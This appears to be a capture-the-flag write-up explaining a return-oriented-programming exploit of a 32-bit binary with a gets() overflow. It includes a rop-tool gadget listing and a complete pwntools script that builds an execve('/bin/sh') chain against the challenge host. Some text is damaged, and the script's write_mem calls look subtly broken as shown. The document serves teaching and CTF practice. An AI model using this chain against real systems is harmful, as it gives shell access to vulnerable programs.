You hack this guy on challenge called
gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something.
He is waiting for you at:
ssh -i <your_keyfile> -p 2226 firstname.lastname@example.org To find your keyfile, look into your profile on this website.
This challenge is focused on using Return Oriented Programming to get a shell. If you don’t know about it or want to practise, I recommend you to try to solve it on your own.
We are given a 32-bit ELF executable. When we run it, we are asked for input. If we introduce more than eight characters we get a segmentation fault, so there must be a buffer overflow without canary. Indeed:
We can see that NX is enabled, so we can not inject shellcode. However, as it is NO-PIE, and uses
gets (which accepts null bytes) to read our input, we can easily exploit the buffer overflow using ROP.
Return Oriented Programming is an exploit technique used to redirect code execution using gadgets. Gadgets are pieces of code that are already present in the binary, and that we can use to, in this case, get a shell. As we have control over the stack due to the buffer overflow, we can overwrite the return address with the address of a gadget that performs, for example, an
add eax, 5; ret, so the program will return to this gadget, add 5 to eax, and then return to the next gadget and continue the ROP chain. A ROP chain is simply a list of addresses the program will execute, returning to each one of them. This introduces a whole new world: weird machines. I recommend you to investigate about it.
As you may have noticed, ROP has a big issue: you can only execute what is already present in the binary, which makes it quite difficult to exploit in very short programs. Fortunately, in this challenge there are a lot of gadgets, so we can “program” almost anything we want. In order to have a list of all of them, we are going to use rop-tool. As there are many gadgets, I will redirect its output to a file.
rop-tool gadget ropberry > gadgets
Now, if we want to look for a gadget, for example
pop eax, we could easily do:
$ cat gadgets | grep "pop eax" 0x0804f3bc -> pop eax; add esp, 0x5c; ret ; 0x080524bc -> pop eax; mov edi, eax; mov esi, edx; mov eax, dword ptr [esp + 4]; ret ; 0x0806aa38 -> push eax; pop eax; mov dword ptr [edx + 0xb8], ecx; ret ; 0x0806aa39 -> pop eax; mov dword ptr [edx + 0xb8], ecx; ret ; 0x0806cdc5 -> pop eax; mov dword ptr [esp], ebx; add eax, 0x2c; mov dword ptr [esp + 4], eax; call dword ptr [ebx + 0x18]; 0x0806d8db -> pop eax; mov dword ptr [esp], edi; add eax, 0x2c; mov dword ptr [esp + 4], eax; call dword ptr [edi + 0x18]; 0x0808eb1e -> add dword ptr [eax], eax; pop edx; pop ecx; pop eax; jmp dword ptr [eax]; 0x0808eb1f -> add byte ptr [edx + 0x59], bl; pop eax; jmp dword ptr [eax]; 0x0808eb20 -> pop edx; pop ecx; pop eax; jmp dword ptr [eax]; 0x0808eb21 -> pop ecx; pop eax; jmp dword ptr [eax]; 0x0808eb22 -> pop eax; jmp dword ptr [eax]; 0x0809a36a -> pop eax; pop ebx; pop esi; pop edi; ret ; 0x080c18ff -> add byte ptr [ebx - 0x74fbdbbc], cl; inc eax; pop eax; ret ; 0x080c1903 -> add al, 0x8b; inc eax; pop eax; ret ; 0x080c1905 -> inc eax; pop eax; ret ; 0x080c1906 -> pop eax; ret ; 0x080df046 -> add byte ptr [eax], al; pop eax; leave ; 0x080df048 -> pop eax; leave ;
Let’s now think what we are going to do. We need to spawn a shell. As there is no magic function that does it for us, we must figure out how to do it chaining gadgets. For this, we need to use the
execve syscall, whose parameters are described in
int execve(const char *filename, char *const argv, char *const envp);
Our call should be:
execve("/bin/sh", ["/bin/sh"], NULL). We must pass a pointer to
/bin/sh as first argument, and a pointer to a pointer to
/bin/sh as second argument. As you may know, parameters are passed to syscalls via registers. To know where must be every parameter, we can take a look at this.
Looking in our
gadgets file, we can find a syscall gadget at
0x08059d70 (remember in 32 bits it’s the opcode
int 0x80). As there is not
/bin/shstring in the provided binary, we have to create it. In order to do that, we must write it to memory. This is done with
mov [reg1], reg2 gadgets, that write the content of reg2 to the address pointed to by reg1. I decided to use
mov [edx], eax, located at
0x0808e22d. We also need some gadgets to populate registers eax, edx, ebx and ecx. Those are the
pop reg gadgets. The last thing we need is two addresses we can write to. We’ll write
/bin/sh into the first of them (so this first address is a pointer to that string), and we’ll write the first address into the second one (so it is a pointer to a pointer to our string). I chose two random addresses located in a writable zone which was full of zeros. Once we have all these gadgets and addresses, we can create the exploit!
We’ll use python and pwntools, as it provides us everything we want.
First, we’ll write every address and gadget we found into variables, so it is easier to use them:
INT_0x80_ADDR = 0x08059d70 POP_EAX_ADDR = 0x080c1906 POP_EDX_ADDR = 0x0805957a POP_EBX_ADDR = 0x0805798b POP_ECX_ADDR = 0x080e394a MOV_EAX_INTO_EDX_ADDR = 0x0808e22d SAFE_ADDR = 0x80efd50 SAFE_ADDR2 = 0x80efe10
Now, we’ll create an auxiliary function that returns a ROP chain that writes a value into an address. This value could be a string, or a number, in which case it must be packed.def write_mem(value, addr): if type(value) == int: value = pack(value) payload = pack(POP_EAX_ADDR) + value payload += pack(POP_EDX_ADDR) + pack(addr) payload += pack(MOV_EAX_INTO_EDX_ADDR) return payload
Once we have this function, the rest is very easy. Just remember we are in a 32 bits architecture, so in order to write
/bin/sh, we must write the first four bytes (
SAFE_ADDR, and then the last four bytes (
The final script:
from pwn import * PATH = "./ropberry" REMOTE = True INT_0x80_ADDR = 0x08059d70 POP_EAX_ADDR = 0x080c1906 POP_EDX_ADDR = 0x0805957a POP_EBX_ADDR = 0x0805798b POP_ECX_ADDR = 0x080e394a MOV_EAX_INTO_EDX_ADDR = 0x0808e22d SAFE_ADDR = 0x80efd50 SAFE_ADDR2 = 0x80efe10 EXEC = "/bin/sh\x00" EXEC = [EXEC[:4],EXEC[4:]] def write_mem(value, addr): if type(value) == int: value = pack(value) payload = pack(POP_EAX_ADDR) + value payload += pack(POP_EDX_ADDR) + pack(addr) payload += pack(MOV_EAX_INTO_EDX_ADDR) return payload context.binary = PATH if REMOTE: s = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, keyfile="../key") p = s.run("/bin/sh") else: p = process(PATH) p.recv() #Write EXEC into SAFE_ADDR payload = "A"*8 #padding payload += write_mem(EXEC, SAFE_ADDR) payload += write_mem(EXEC, SAFE_ADDR+4) #Write SAFE_ADDR into SAFE_ADDR2 payload += write_mem(SAFE_ADDR, SAFE_ADDR2) #Populate registers for the syscall payload += pack(POP_EAX_ADDR) + pack(0xb) payload += pack(POP_EBX_ADDR) + pack(SAFE_ADDR) payload += pack(POP_ECX_ADDR) + pack(SAFE_ADDR2) #Syscall payload += pack(INT_0x80_ADDR) p.sendline(payload) p.recv() p.interactive()
This script will connect to the remote host and send the payload to spawn a shell. After running it, we just type
cat flag.txtand get the flag: